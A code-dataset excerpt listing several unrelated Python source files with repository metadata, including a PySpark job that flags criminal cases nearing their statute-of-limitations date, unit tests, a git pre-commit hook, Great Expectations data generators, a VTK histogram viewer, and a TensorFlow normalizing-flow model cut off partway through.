max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
src/alertas/alerta_prcr.py | MinisterioPublicoRJ/Alertas | 2 | 12764251 | <gh_stars>1-10
#-*-coding:utf-8-*-
from pyspark.sql.types import IntegerType, TimestampType
from pyspark.sql.functions import *
from base import spark
from utils import uuidsha
columns = [
col('docu_dk').alias('alrt_docu_dk'),
col('docu_nr_mp').alias('alrt_docu_nr_mp'),
col('docu_orgi_orga_dk_responsavel').alias('alrt_orgi_orga_dk'),
col('elapsed').alias('alrt_dias_referencia')
]
columns_alias = [
col('alrt_docu_dk'),
col('alrt_docu_nr_mp'),
col('alrt_orgi_orga_dk'),
col('alrt_dias_referencia')
]
key_columns = [
col('alrt_docu_dk')
]
def alerta_prcr(options):
# data do fato será usada para a maioria dos cálculos
# Caso a data do fato seja NULL, ou seja maior que a data de cadastro, usar cadastro como data do fato
# Apenas códigos de pacotes de PIPs
# Mantém-se a data do fato original (mesmo NULL ou maior que dt cadastro) para a tabela de metadados do cálculo
doc_pena = spark.sql("""
SELECT docu_dk, docu_nr_mp, docu_nr_externo, docu_tx_etiqueta, docu_dt_fato as docu_dt_fato_original,
CASE WHEN docu_dt_fato < docu_dt_cadastro THEN docu_dt_fato ELSE docu_dt_cadastro END as docu_dt_fato,
docu_dt_cadastro, docu_orgi_orga_dk_responsavel,
cls.id as cldc_dk,
cls.cod_mgp as cldc_ds_classe,
cls.hierarquia as cldc_ds_hierarquia,
tpa.id,
tpa.artigo_lei,
tpa.max_pena,
tpa.nome_delito,
tpa.multiplicador,
tpa.abuso_menor
FROM documentos_ativos
LEFT JOIN {0}.mmps_classe_docto cls ON cls.id = docu_cldc_dk
JOIN {1}.mcpr_assunto_documento ON docu_dk = asdo_docu_dk
JOIN {0}.tb_penas_assuntos tpa ON tpa.id = asdo_assu_dk
JOIN {0}.atualizacao_pj_pacote ON docu_orgi_orga_dk_responsavel = id_orgao
WHERE docu_dt_cadastro >= '2010-01-01'
AND max_pena IS NOT NULL
AND cod_pct IN (200, 201, 202, 203, 204, 205, 206, 207, 208, 209)
AND asdo_dt_fim IS NULL -- tira assuntos que acabaram
""".format(options['schema_exadata_aux'], options['schema_exadata'])
)
doc_pena.createOrReplaceTempView('DOC_PENA')
# Calcula tempos de prescrição a partir das penas máximas
# Caso um dos assuntos seja multiplicador, multiplicar as penas pelo fator
doc_prescricao = spark.sql("""
WITH PENA_FATORES AS (
SELECT docu_dk, EXP(SUM(LN(max_pena))) AS fator_pena, concat_ws(', ', collect_list(nome_delito)) AS delitos_multiplicadores
FROM DOC_PENA
WHERE multiplicador = 1
GROUP BY docu_dk
)
SELECT *,
CASE
WHEN max_pena_fatorado < 1 THEN 3
WHEN max_pena_fatorado < 2 THEN 4
WHEN max_pena_fatorado < 4 THEN 8
WHEN max_pena_fatorado < 8 THEN 12
WHEN max_pena_fatorado < 12 THEN 16
ELSE 20 END AS tempo_prescricao
FROM (
SELECT
P.*,
CASE WHEN fator_pena IS NOT NULL THEN max_pena * fator_pena ELSE max_pena END AS max_pena_fatorado,
fator_pena,
delitos_multiplicadores
FROM DOC_PENA P
LEFT JOIN PENA_FATORES F ON F.docu_dk = P.docu_dk
WHERE multiplicador = 0
) t
""")
doc_prescricao.createOrReplaceTempView('DOC_PRESCRICAO')
# Se o acusado tiver < 21 ou >= 70, seja na data do fato ou na data presente, multiplicar tempo_prescricao por 0.5
doc_prescricao_fatorado = spark.sql("""
WITH PRESCRICAO_FATORES AS (
SELECT docu_dk, investigado_pess_dk, investigado_nm,
CASE WHEN NOT (dt_compare >= dt_21 AND current_timestamp() < dt_70) THEN 0.5 ELSE NULL END AS fator_prescricao
FROM (
SELECT DISTINCT
docu_dk,
pesf_pess_dk as investigado_pess_dk,
pesf_nm_pessoa_fisica as investigado_nm,
add_months(pesf_dt_nasc, 21 * 12) AS dt_21,
add_months(pesf_dt_nasc, 70 * 12) AS dt_70,
docu_dt_fato AS dt_compare
FROM DOC_PRESCRICAO
JOIN {0}.mcpr_personagem ON pers_docu_dk = docu_dk
JOIN {0}.mcpr_pessoa_fisica ON pers_pesf_dk = pesf_pess_dk
WHERE pers_tppe_dk IN (290, 7, 21, 317, 20, 14, 32, 345, 40, 5, 24)
AND pesf_nm_pessoa_fisica != 'MP'
) t
)
SELECT P.*,
CASE WHEN fator_prescricao IS NOT NULL THEN tempo_prescricao * fator_prescricao ELSE tempo_prescricao END AS tempo_prescricao_fatorado,
fator_prescricao IS NOT NULL AS investigado_maior_70_menor_21,
investigado_pess_dk,
investigado_nm
FROM DOC_PRESCRICAO P
LEFT JOIN PRESCRICAO_FATORES F ON F.docu_dk = P.docu_dk
""".format(options['schema_exadata']))
doc_prescricao_fatorado.createOrReplaceTempView('DOC_PRESCRICAO_FATORADO')
# Calcular data inicial de prescrição
# Casos em que houve rescisão de acordo de não persecução penal, data inicial é a data do andamento
spark.sql("""
SELECT vist_docu_dk, pcao_dt_andamento
FROM vista
JOIN {0}.mcpr_andamento ON vist_dk = pcao_vist_dk
JOIN {0}.mcpr_sub_andamento ON stao_pcao_dk = pcao_dk
WHERE stao_tppr_dk = 7920
AND year_month >= 201901
""".format(options['schema_exadata'])
).createOrReplaceTempView('DOCS_ANPP')
# Casos de abuso de menor, data inicial é a data de 18 anos do menor,
# no caso em que o menor tinha menos de 18 na data do fato/cadastro
# Prioridade de data inicial: data de 18 anos (caso abuso menor), rescisão de acordo ANPP, dt_fato
dt_inicial = spark.sql("""
WITH DOCS_ABUSO_MENOR AS (
SELECT docu_dk, MAX(dt_18_anos) AS dt_18_anos
FROM (
SELECT docu_dk, CASE WHEN dt_18_anos > docu_dt_fato THEN dt_18_anos ELSE NULL END AS dt_18_anos
FROM DOC_PRESCRICAO_FATORADO P
JOIN {0}.mcpr_personagem ON pers_docu_dk = docu_dk
JOIN (
SELECT
PF.*,
cast(add_months(pesf_dt_nasc, 18*12) as timestamp) AS dt_18_anos
FROM {0}.mcpr_pessoa_fisica PF
) t ON pers_pesf_dk = pesf_pess_dk
WHERE abuso_menor = 1
AND pers_tppe_dk IN (3, 13, 18, 6, 248, 290)
) t2
GROUP BY docu_dk
)
SELECT P.*,
CASE
WHEN dt_18_anos IS NOT NULL AND abuso_menor = 1 THEN dt_18_anos
WHEN pcao_dt_andamento IS NOT NULL THEN pcao_dt_andamento
ELSE docu_dt_fato END AS dt_inicial_prescricao,
dt_18_anos AS vitima_menor_mais_jovem_dt_18_anos,
pcao_dt_andamento AS dt_acordo_npp
FROM DOC_PRESCRICAO_FATORADO P
LEFT JOIN DOCS_ANPP ON vist_docu_dk = docu_dk
LEFT JOIN DOCS_ABUSO_MENOR M ON M.docu_dk = P.docu_dk
""".format(options['schema_exadata']))
dt_inicial.createOrReplaceTempView('DOCS_DT_INICIAL_PRESCRICAO')
# Data de prescrição = data inicial de prescrição + tempo de prescrição
resultado = spark.sql("""
SELECT
D.*,
cast(add_months(dt_inicial_prescricao, tempo_prescricao_fatorado * 12) as timestamp) AS data_prescricao
FROM DOCS_DT_INICIAL_PRESCRICAO D
""").\
withColumn("elapsed", lit(datediff(current_date(), 'data_prescricao')).cast(IntegerType()))
resultado.createOrReplaceTempView('TEMPO_PARA_PRESCRICAO')
spark.catalog.cacheTable("TEMPO_PARA_PRESCRICAO")
# Tabela de detalhes dos alertas, para ser usada no overlay do alerta, e também para debugging
spark.sql("""
SELECT
docu_dk AS adpr_docu_dk,
investigado_pess_dk as adpr_investigado_pess_dk,
investigado_nm as adpr_investigado_nm,
nome_delito as adpr_nome_delito,
id as adpr_id_assunto,
artigo_lei as adpr_artigo_lei,
abuso_menor as adpr_abuso_menor,
max_pena as adpr_max_pena,
delitos_multiplicadores as adpr_delitos_multiplicadores,
fator_pena as adpr_fator_pena,
max_pena_fatorado as adpr_max_pena_fatorado,
tempo_prescricao as adpr_tempo_prescricao,
investigado_maior_70_menor_21 as adpr_investigado_prescricao_reduzida,
tempo_prescricao_fatorado as adpr_tempo_prescricao_fatorado,
vitima_menor_mais_jovem_dt_18_anos as adpr_dt_18_anos_menor_vitima,
dt_acordo_npp as adpr_dt_acordo_npp,
docu_dt_fato_original as adpr_docu_dt_fato,
docu_dt_cadastro as adpr_docu_dt_cadastro,
cast(dt_inicial_prescricao as string) as adpr_dt_inicial_prescricao,
data_prescricao as adpr_dt_final_prescricao,
elapsed as adpr_dias_prescrito
FROM TEMPO_PARA_PRESCRICAO
""").write.mode('overwrite').saveAsTable('{}.{}'.format(
options['schema_alertas'],
options['prescricao_tabela_detalhe']
)
)
LIMIAR_PRESCRICAO_PROXIMA = -options['prescricao_limiar']
subtipos = spark.sql("""
SELECT T.*,
CASE
WHEN elapsed > 0 THEN 2 -- prescrito
WHEN elapsed <= {LIMIAR_PRESCRICAO_PROXIMA} THEN 0 -- nem prescrito nem proximo
ELSE 1 -- proximo de prescrever
END AS status_prescricao
FROM TEMPO_PARA_PRESCRICAO T
""".format(
LIMIAR_PRESCRICAO_PROXIMA=LIMIAR_PRESCRICAO_PROXIMA)
)
max_min_status = subtipos.groupBy(columns[:-1]).agg(min('status_prescricao'), max('status_prescricao'), min('elapsed')).\
withColumnRenamed('max(status_prescricao)', 'max_status').\
withColumnRenamed('min(status_prescricao)', 'min_status').\
withColumnRenamed('min(elapsed)', 'alrt_dias_referencia')
max_min_status.createOrReplaceTempView('MAX_MIN_STATUS')
# Os WHEN precisam ser feitos na ordem PRCR1, 2, 3 e depois 4!
resultado = spark.sql("""
SELECT T.*,
CASE
WHEN min_status = 2 THEN 'PRCR1' -- todos prescritos
WHEN min_status = 1 THEN 'PRCR2' -- todos próximos de prescrever
WHEN max_status = 2 THEN 'PRCR3' -- subentende-se min=0 aqui, logo, algum prescrito (mas não todos próximos)
WHEN max_status = 1 THEN 'PRCR4' -- subentende-se min=0, logo, nenhum prescrito, mas algum próximo (não todos)
ELSE NULL -- não entra em nenhum caso (será filtrado)
END AS alrt_sigla,
CASE
WHEN min_status = 2 THEN 'Todos os crimes prescritos'
WHEN min_status = 1 THEN 'Todos os crimes próximos de prescrever'
WHEN max_status = 2 THEN 'Algum crime prescrito'
WHEN max_status = 1 THEN 'Algum crime próximo de prescrever'
ELSE NULL
END AS alrt_descricao
FROM MAX_MIN_STATUS T
""")
resultado = resultado.filter('alrt_sigla IS NOT NULL').select(columns_alias + ['alrt_sigla', 'alrt_descricao'])
resultado = resultado.withColumn('alrt_key', uuidsha(*key_columns))
return resultado
| 2.359375 | 2 |
tests/generators/ios/test_ios_template_methods.py | brianleungwh/signals | 3 | 12764252 | import unittest
from signals.generators.ios.ios_template_methods import iOSTemplateMethods
from signals.parser.fields import Field
from signals.parser.api import GetAPI, API, PatchAPI
from tests.utils import create_dynamic_schema
class iOSTemplateMethodsTestCase(unittest.TestCase):
def test_get_url_name(self):
self.assertEqual(iOSTemplateMethods.get_url_name("/post/:id/favorite/"), "PostWithIdFavorite")
def test_method_name(self):
api = GetAPI("post/", {
"response": {
"200+": "$postResponse"
}
})
self.assertEqual(iOSTemplateMethods.method_name(api), "PostWithSuccess")
api = GetAPI("post/:id/", {
"response": {
"200+": "$postResponse"
}
})
self.assertEqual(iOSTemplateMethods.method_name(api), "PostWithTheID")
objects_json = {
'$postRequest': {"body": "string", "title": "string"},
'$postResponse': {"body": "string", "title": "string"}
}
urls_json = [
{
"url": "post/:id/",
"patch": {
"request": "$postRequest",
"response": {
"200+": "$postResponse"
}
}
}
]
schema = create_dynamic_schema(objects_json, urls_json)
self.assertEqual(iOSTemplateMethods.method_name(schema.urls[0].patch), "PostWithBody")
def test_content_type(self):
api = GetAPI("post/", {
"response": {
"200+": "$postResponse"
}
})
self.assertEqual(iOSTemplateMethods.content_type(api), "RKMIMETypeJSON")
api.content_type = API.CONTENT_TYPE_FORM
self.assertEqual(iOSTemplateMethods.content_type(api), "RKMIMETypeFormURLEncoded")
def test_media_field_check(self):
fields = [
Field("video", ["video"]),
Field("image", ["image"])
]
media_field_statement = iOSTemplateMethods.media_field_check(fields)
self.assertEqual(media_field_statement, "video != nil || image != nil")
| 2.484375 | 2 |
calf/logging.py | brutasse/calf | 2 | 12764253 | <filename>calf/logging.py
import json
import syslog
levels = {level: getattr(syslog, 'LOG_{}'.format(level.upper()))
for level in ['emerg', 'alert', 'crit', 'err', 'warning', 'notice',
'info', 'debug']}
log_level = levels['info']
def set_level(level):
global log_level
log_level = levels[level]
def log(msg, level='info', **kwargs):
pri = getattr(syslog, 'LOG_{}'.format(level.upper()), syslog.LOG_INFO)
if pri <= log_level:
kwargs.update({
'event': msg,
'_type': 'calf',
})
syslog.syslog(pri, json.dumps(kwargs, separators=(',', ':')))
| 2.265625 | 2 |
pgv_example.py | MelyPic/labgaif | 0 | 12764254 | <filename>pgv_example.py
from itertools import product
import pygraphviz as pgv
d = pgv.AGraph(compound = "True") # compound allows for edge clipping at clusters
d.add_edges_from(product('ABCD', 'FGH'))
d.add_subgraph(nbunch = 'BC', name = 'clusterBC', style = 'filled', color = 'yellow')
d.add_node('X')
d.add_edge('X', 'B', lhead = 'clusterBC') # lhead does the clipping if compound is true
# ~ d.layout() # unnecessary if "draw" is called next
d.draw('d.png', prog = "dot")
# ~ G = pgv.AGraph(directed=True)
# ~ G.add_node(1)
# ~ G.add_node(2)
# ~ G.add_node(3)
# ~ G.add_node(4)
# ~ G1 = G.subgraph(nbunch=[1,2],name="cluster1")
# ~ G2 = G.subgraph(nbunch=[3,4],name="cluster2")
# ~ G.add_edge(1, 3, ltail = "cluster1")
# ~ G.write("g0.dot")
# ~ G.layout()
# ~ G.write("g1.dot")
# ~ G.draw('g.png', prog = "dot")
| 3 | 3 |
modules/__init__.py | tinnguyen96/partition-coupling | 0 | 12764255 | # todos
# add a compress function (triple Mode can create over 1000 files in a directory, which
# put strain on Supercloud). | 1.070313 | 1 |
examples/single_objective/test_1/ea_config_ex_1.py | gmonterovillar/HAMON | 4 | 12764256 | <reponame>gmonterovillar/HAMON
##============================ ea_config_ex_1.py ================================
# Some of the input parameters and options in order to select the settings of the
# evolutionary algorithm are given here for the minimization of the De Jong’s fifth
# function or Shekel’s foxholes using Genetic Algorithms.
EA_type = 'GA'
pop_size = 80
n_gen = 200
mut_rate = -1
n_gen_var = 15
cross_rate = 0.7
tour_sel_param = 0.8
| 1.835938 | 2 |
pre-commit.py | nim65s/scripts | 1 | 12764257 | <gh_stars>1-10
#!/usr/bin/env python3
from subprocess import check_output
from sys import exit
from flake8.main import application, git
from isort import SortImports
def hook(lazy=False, strict=False):
"""Execute Flake8 on the files in git's index.
Determine which files are about to be committed and run Flake8 over them
to check for violations.
NB: Nim updated from 1:3.2.1-1 to add a filter on python files…
:param bool lazy:
Find files not added to the index prior to committing. This is useful
if you frequently use ``git commit -a`` for example. This defaults to
False since it will otherwise include files not in the index.
:param bool strict:
If True, return the total number of errors/violations found by Flake8.
This will cause the hook to fail.
:returns:
Total number of errors found during the run.
:rtype:
int
"""
with git.make_temporary_directory() as tempdir:
filepaths = []
for filepath in git.copy_indexed_files_to(tempdir, lazy):
if not filepath.endswith('.py'):
with open(filepath) as f:
try:
if any(s not in f.readline().lower() for s in ('#', 'python')):
continue
except:
continue
filepaths.append(filepath)
if not filepaths:
return 0
app = application.Application()
app.initialize(['.'])
app.options.exclude = git.update_excludes(app.options.exclude, tempdir)
app.run_checks(filepaths)
app.report_errors()
return app.result_count if strict else 0
for path in check_output(['git', 'status', '--porcelain']).decode('utf-8').split('\n'):
path = path.strip().split()
if not path:
continue
if path[0] in 'AMR':
path = ' '.join(path[3 if path[0] == 'R' else 1:])
if path.endswith('.py'):
SortImports(path)
# isort modifies the files…
check_output(['git', 'update-index', '--add', path])
elif path[0] != 'D':
print(path)
exit(hook(strict=True, lazy=True))
| 2.28125 | 2 |
great_expectations/datasource/generator/filesystem_path_generator.py | scarrucciu/great_expectations | 0 | 12764258 | <gh_stars>0
import os
import time
import glob
from great_expectations.datasource.generator.batch_generator import BatchGenerator
from great_expectations.exceptions import BatchKwargsError
KNOWN_EXTENSIONS = ['.csv', '.tsv', '.parquet', '.xls', '.xlsx', '.json']
class GlobReaderGenerator(BatchGenerator):
def __init__(self, name="default",
datasource=None,
base_directory="/data",
reader_options=None,
asset_globs=None):
super(GlobReaderGenerator, self).__init__(name, type_="glob_reader", datasource=datasource)
if reader_options is None:
reader_options = {}
if asset_globs is None:
asset_globs = {
"default": "*"
}
self._base_directory = base_directory
self._reader_options = reader_options
self._asset_globs = asset_globs
@property
def reader_options(self):
return self._reader_options
@property
def asset_globs(self):
return self._asset_globs
@property
def base_directory(self):
# If base directory is a relative path, interpret it as relative to the data context's
# context root directory (parent directory of great_expectation dir)
if os.path.isabs(self._base_directory) or self._datasource.get_data_context() is None:
return self._base_directory
else:
return os.path.join(self._datasource.get_data_context().root_directory, self._base_directory)
def get_available_data_asset_names(self):
known_assets = set()
if not os.path.isdir(self.base_directory):
return known_assets
for generator_asset in self.asset_globs.keys():
batch_paths = glob.glob(os.path.join(self.base_directory, self.asset_globs[generator_asset]))
if len(batch_paths) > 0:
known_assets.add(generator_asset)
return known_assets
def _get_iterator(self, generator_asset, **kwargs):
if generator_asset not in self._asset_globs:
batch_kwargs = {
"generator_asset": generator_asset,
}
batch_kwargs.update(kwargs)
raise BatchKwargsError("Unknown asset_name %s" % generator_asset, batch_kwargs)
glob_ = self.asset_globs[generator_asset]
paths = glob.glob(os.path.join(self.base_directory, glob_))
return self._build_batch_kwargs_path_iter(paths)
def _build_batch_kwargs_path_iter(self, path_list):
for path in path_list:
yield self._build_batch_kwargs(path)
def _build_batch_kwargs(self, path):
# We could add MD5 (e.g. for smallish files)
# but currently don't want to assume the extra read is worth it
# unless it's configurable
# with open(path,'rb') as f:
# md5 = hashlib.md5(f.read()).hexdigest()
batch_kwargs = {
"path": path,
"timestamp": time.time()
}
batch_kwargs.update(self.reader_options)
return batch_kwargs
class SubdirReaderGenerator(BatchGenerator):
"""The SubdirReaderGenerator inspects a filesytem and produces batch_kwargs with a path and timestamp.
SubdirReaderGenerator recognizes generator_asset using two criteria:
- for files directly in 'base_directory' with recognized extensions (.csv, .tsv, .parquet, .xls, .xlsx, .json),
it uses the name of the file without the extension
- for other files or directories in 'base_directory', is uses the file or directory name
SubdirReaderGenerator sees all files inside a directory of base_directory as batches of one datasource.
SubdirReaderGenerator can also include configured reader_options which will be added to batch_kwargs generated
by this generator.
"""
def __init__(self, name="default",
datasource=None,
base_directory="/data",
reader_options=None):
super(SubdirReaderGenerator, self).__init__(name, type_="subdir_reader", datasource=datasource)
if reader_options is None:
reader_options = {}
self._reader_options = reader_options
self._base_directory = base_directory
@property
def reader_options(self):
return self._reader_options
@property
def base_directory(self):
# If base directory is a relative path, interpret it as relative to the data context's
# context root directory (parent directory of great_expectation dir)
if os.path.isabs(self._base_directory) or self._datasource.get_data_context() is None:
return self._base_directory
else:
return os.path.join(self._datasource.get_data_context().root_directory, self._base_directory)
def get_available_data_asset_names(self):
if not os.path.isdir(self.base_directory):
return set()
known_assets = self._get_valid_file_options(valid_options=set(), base_directory=self.base_directory)
return known_assets
def _get_valid_file_options(self, valid_options=set(), base_directory=None):
if base_directory is None:
base_directory = self.base_directory
file_options = os.listdir(base_directory)
for file_option in file_options:
for extension in KNOWN_EXTENSIONS:
if file_option.endswith(extension) and not file_option.startswith("."):
valid_options.add(file_option[:-len(extension)])
elif os.path.isdir(os.path.join(self.base_directory, file_option)):
subdir_options = self._get_valid_file_options(valid_options=set(), base_directory=os.path.join(base_directory, file_option))
if len(subdir_options) > 0:
valid_options.add(file_option)
# Make sure there's at least one valid file inside the subdir
return valid_options
def _get_iterator(self, generator_asset, **kwargs):
# If the generator_asset is a file, then return the path.
# Otherwise, use files in a subdir as batches
if os.path.isdir(os.path.join(self.base_directory, generator_asset)):
subdir_options = os.listdir(os.path.join(self.base_directory, generator_asset))
batches = []
for file_option in subdir_options:
for extension in KNOWN_EXTENSIONS:
if file_option.endswith(extension) and not file_option.startswith("."):
batches.append(os.path.join(self.base_directory, generator_asset, file_option))
return self._build_batch_kwargs_path_iter(batches)
# return self._build_batch_kwargs_path_iter(os.scandir(os.path.join(self.base_directory, generator_asset)))
# return iter([{
# "path": os.path.join(self.base_directory, generator_asset, x)
# } for x in os.listdir(os.path.join(self.base_directory, generator_asset))])
# ONLY allow KNOWN_EXPTENSIONS
# elif os.path.isfile(os.path.join(self.base_directory, generator_asset)):
# path = os.path.join(self.base_directory, generator_asset)
# return iter([self._build_batch_kwargs(path)])
else:
for extension in KNOWN_EXTENSIONS:
path = os.path.join(self.base_directory, generator_asset + extension)
if os.path.isfile(path):
return iter([
self._build_batch_kwargs(path)
])
# If we haven't returned yet, raise
raise IOError(os.path.join(self.base_directory, generator_asset))
# def _build_batch_kwargs_path_iter(self, path_iter):
def _build_batch_kwargs_path_iter(self, path_list):
for path in path_list:
yield self._build_batch_kwargs(path)
# Use below if we have an iterator (e.g. from scandir)
# try:
# while True:
# yield {
# "path": next(path_iter).path
# }
# except StopIteration:
# return
def _build_batch_kwargs(self, path):
# We could add MD5 (e.g. for smallish files)
# but currently don't want to assume the extra read is worth it
# unless it's configurable
# with open(path,'rb') as f:
# md5 = hashlib.md5(f.read()).hexdigest()
batch_kwargs = {
"path": path,
"timestamp": time.time()
}
batch_kwargs.update(self.reader_options)
return batch_kwargs
| 2.171875 | 2 |
modules/viewers/histogram1D.py | chrisidefix/devide | 25 | 12764259 | <filename>modules/viewers/histogram1D.py
from external import wxPyPlot
import gen_utils
from module_base import ModuleBase
from module_mixins import IntrospectModuleMixin
import module_utils
try:
import Numeric
except:
import numarray as Numeric
import vtk
import wx
class histogram1D(IntrospectModuleMixin, ModuleBase):
"""Calculates and shows 1D histogram (occurrences over value) of its
input data.
$Revision: 1.3 $
"""
def __init__(self, module_manager):
ModuleBase.__init__(self, module_manager)
self._imageAccumulate = vtk.vtkImageAccumulate()
module_utils.setup_vtk_object_progress(self, self._imageAccumulate,
'Calculating histogram')
self._viewFrame = None
self._createViewFrame()
self._bindEvents()
self._config.numberOfBins = 256
self._config.minValue = 0.0
self._config.maxValue = 256.0
self.config_to_logic()
self.logic_to_config()
self.config_to_view()
self.view()
def close(self):
for i in range(len(self.get_input_descriptions())):
self.set_input(i, None)
self._viewFrame.Destroy()
del self._viewFrame
del self._imageAccumulate
ModuleBase.close(self)
def get_input_descriptions(self):
return ('VTK Image Data',)
def set_input(self, idx, inputStream):
self._imageAccumulate.SetInput(inputStream)
def get_output_descriptions(self):
return ()
def logic_to_config(self):
# for now, we work on the first component (of a maximum of three)
# we could make this configurable
minValue = self._imageAccumulate.GetComponentOrigin()[0]
cs = self._imageAccumulate.GetComponentSpacing()
ce = self._imageAccumulate.GetComponentExtent()
numberOfBins = ce[1] - ce[0] + 1
# again we use nob - 1 so that maxValue is also part of a bin
maxValue = minValue + (numberOfBins-1) * cs[0]
self._config.numberOfBins = numberOfBins
self._config.minValue = minValue
self._config.maxValue = maxValue
def config_to_logic(self):
co = list(self._imageAccumulate.GetComponentOrigin())
co[0] = self._config.minValue
self._imageAccumulate.SetComponentOrigin(co)
ce = list(self._imageAccumulate.GetComponentExtent())
ce[0] = 0
ce[1] = self._config.numberOfBins - 1
self._imageAccumulate.SetComponentExtent(ce)
cs = list(self._imageAccumulate.GetComponentSpacing())
# we divide by nob - 1 because we want maxValue to fall in the
# last bin...
cs[0] = (self._config.maxValue - self._config.minValue) / \
(self._config.numberOfBins - 1)
self._imageAccumulate.SetComponentSpacing(cs)
def view_to_config(self):
self._config.numberOfBins = gen_utils.textToInt(
self._viewFrame.numBinsSpinCtrl.GetValue(),
self._config.numberOfBins)
self._config.minValue = gen_utils.textToFloat(
self._viewFrame.minValueText.GetValue(),
self._config.minValue)
self._config.maxValue = gen_utils.textToFloat(
self._viewFrame.maxValueText.GetValue(),
self._config.maxValue)
if self._config.minValue > self._config.maxValue:
self._config.maxValue = self._config.minValue
def config_to_view(self):
self._viewFrame.numBinsSpinCtrl.SetValue(
self._config.numberOfBins)
self._viewFrame.minValueText.SetValue(
str(self._config.minValue))
self._viewFrame.maxValueText.SetValue(
str(self._config.maxValue))
def execute_module(self):
if self._imageAccumulate.GetInput() == None:
return
self._imageAccumulate.Update()
# get histogram params directly from logic
minValue = self._imageAccumulate.GetComponentOrigin()[0]
cs = self._imageAccumulate.GetComponentSpacing()
ce = self._imageAccumulate.GetComponentExtent()
numberOfBins = ce[1] - ce[0] + 1
maxValue = minValue + numberOfBins * cs[0]
# end of param extraction
histArray = Numeric.arange(numberOfBins * 2)
histArray.shape = (numberOfBins, 2)
od = self._imageAccumulate.GetOutput()
for i in range(numberOfBins):
histArray[i,0] = minValue + i * cs[0]
histArray[i,1] = od.GetScalarComponentAsDouble(i,0,0,0)
lines = wxPyPlot.PolyLine(histArray, colour='blue')
self._viewFrame.plotCanvas.Draw(
wxPyPlot.PlotGraphics([lines], "Histogram", "Value", "Occurrences")
)
def view(self):
self._viewFrame.Show()
self._viewFrame.Raise()
# ---------------------------------------------------------------
# END of API methods
# ---------------------------------------------------------------
def _createViewFrame(self):
# create the viewerFrame
import modules.viewers.resources.python.histogram1DFrames
reload(modules.viewers.resources.python.histogram1DFrames)
self._viewFrame = module_utils.instantiate_module_view_frame(
self, self._module_manager,
modules.viewers.resources.python.histogram1DFrames.\
histogram1DFrame)
self._viewFrame.plotCanvas.SetEnableZoom(True)
self._viewFrame.plotCanvas.SetEnableGrid(True)
objectDict = {'Module (self)' : self,
'vtkImageAccumulate' : self._imageAccumulate}
module_utils.create_standard_object_introspection(
self, self._viewFrame, self._viewFrame.viewFramePanel,
objectDict, None)
module_utils.create_eoca_buttons(self, self._viewFrame,
self._viewFrame.viewFramePanel)
def _bindEvents(self):
wx.EVT_BUTTON(self._viewFrame,
self._viewFrame.autoRangeButton.GetId(),
self._handlerAutoRangeButton)
def _handlerAutoRangeButton(self, event):
if self._imageAccumulate.GetInput() == None:
return
self._imageAccumulate.GetInput().Update()
sr = self._imageAccumulate.GetInput().GetScalarRange()
self._viewFrame.minValueText.SetValue(str(sr[0]))
self._viewFrame.maxValueText.SetValue(str(sr[1]))
| 2.453125 | 2 |
model_short.py | evantey14/glow | 0 | 12764260 | import numpy as np
import tensorflow as tf
import tfops_short as Z
class model:
def __init__(self, sess, hps, train_iterator, data_init):
# === Define session
self.sess = sess
self.hps = hps
# === Input tensors
with tf.name_scope('input'):
s_shape = [None, hps.n_bins, 1]
self.s_placeholder = tf.compat.v1.placeholder(tf.float32, s_shape, name='spectra')
self.lr_placeholder = tf.compat.v1.placeholder(tf.float32, None, name='learning_rate')
self.train_iterator = train_iterator
z_shape = [None, hps.n_bins/2**(hps.n_levels+1), 4]
self.z_placeholder = tf.compat.v1.placeholder(tf.float32, z_shape, name='latent_rep')
intermediate_z_shapes = [[None, hps.n_bins/2**(i+1), 2] for i in range(1, hps.n_levels)]
self.intermediate_z_placeholders = [
tf.compat.v1.placeholder(tf.float32, shape)
for shape in intermediate_z_shapes
]
# === Loss and optimizer
self.optimizer, self.loss, self.stats = self._create_optimizer()
# === Encoding and decoding
self.z, self.logpx, self.intermediate_zs = self._create_encoder(self.s_placeholder)
self.s = self._create_decoder(self.z_placeholder)
self.s_from_intermediate_zs = self._create_decoder(self.z_placeholder,
self.intermediate_z_placeholders)
# === Initialize
sess.run(tf.compat.v1.global_variables_initializer()) # not sure if more initialization is needed?
# === Saving and restoring
with tf.device('/cpu:0'):
saver = tf.compat.v1.train.Saver()
self.save = lambda path: saver.save(sess, path, write_meta_graph=False)
self.restore = lambda path: saver.restore(sess, path)
def _create_optimizer(self):
'''Set up optimizer to train on input train_iterator and learning rate.'''
_, logpx, _ = self._create_encoder(self.train_iterator)
bits_x = -logpx / (np.log(2.) * self.hps.n_bins) # bits per subpixel
with tf.compat.v1.variable_scope('optimizer', reuse=tf.compat.v1.AUTO_REUSE):
loss = tf.reduce_mean(bits_x)
stats = tf.stack([tf.reduce_mean(loss)])
optimizer = tf.train.AdamOptimizer(learning_rate=self.lr_placeholder).minimize(loss)
return optimizer, loss, stats
def _create_encoder(self, x):
'''Set up encoder tensors to pipe input spectra x to a latent representation
Args:
x: input tensor with shape [?, n_bins, 1], either a placeholder or data stream
Returns:
z: output tensor, contains the fully compressed latent representation
logpx: tensor with shape [?,], the log likelihood of each spectrum
intermediate_zs: list of tensors, the components dropped after splits
'''
logpx = tf.zeros_like(x, dtype='float32')[:, 0, 0] # zeros tensor with shape (batch_size)
intermediate_zs = []
z = Z.squeeze(x - .5, 4) # preprocess the input
with tf.compat.v1.variable_scope('model', reuse=tf.compat.v1.AUTO_REUSE):
for i in range(self.hps.n_levels):
for j in range(self.hps.depth):
z, logpx = self._flow_step('flow-level{}-depth{}'.format(i, j), z, logpx)
if i < self.hps.n_levels - 1:
z1, z2 = Z.split(z)
intermediate_prior = self._create_prior(z2)
logpx += intermediate_prior.logp(z2)
intermediate_zs.append(z2)
z = Z.squeeze(z1, 2)
prior = self._create_prior(z)
logpx += prior.logp(z)
return z, logpx, intermediate_zs
def _create_decoder(self, z, intermediate_zs=None):
'''Set up decoder tensors to generate spectra from latent representation.
Args:
z: tensor where shape matches final latent representation.
intermediate_zs: optional list of tensors, components removed during encoder splits.
Returns:
x: tensor with shape [?, n_bins, 1], spectra constructed from z.
'''
with tf.compat.v1.variable_scope('model', reuse=tf.compat.v1.AUTO_REUSE):
for i in reversed(range(self.hps.n_levels)):
if i < self.hps.n_levels - 1:
z1 = Z.unsqueeze(z, 2)
if intermediate_zs is None:
intermediate_prior = self._create_prior(z1)
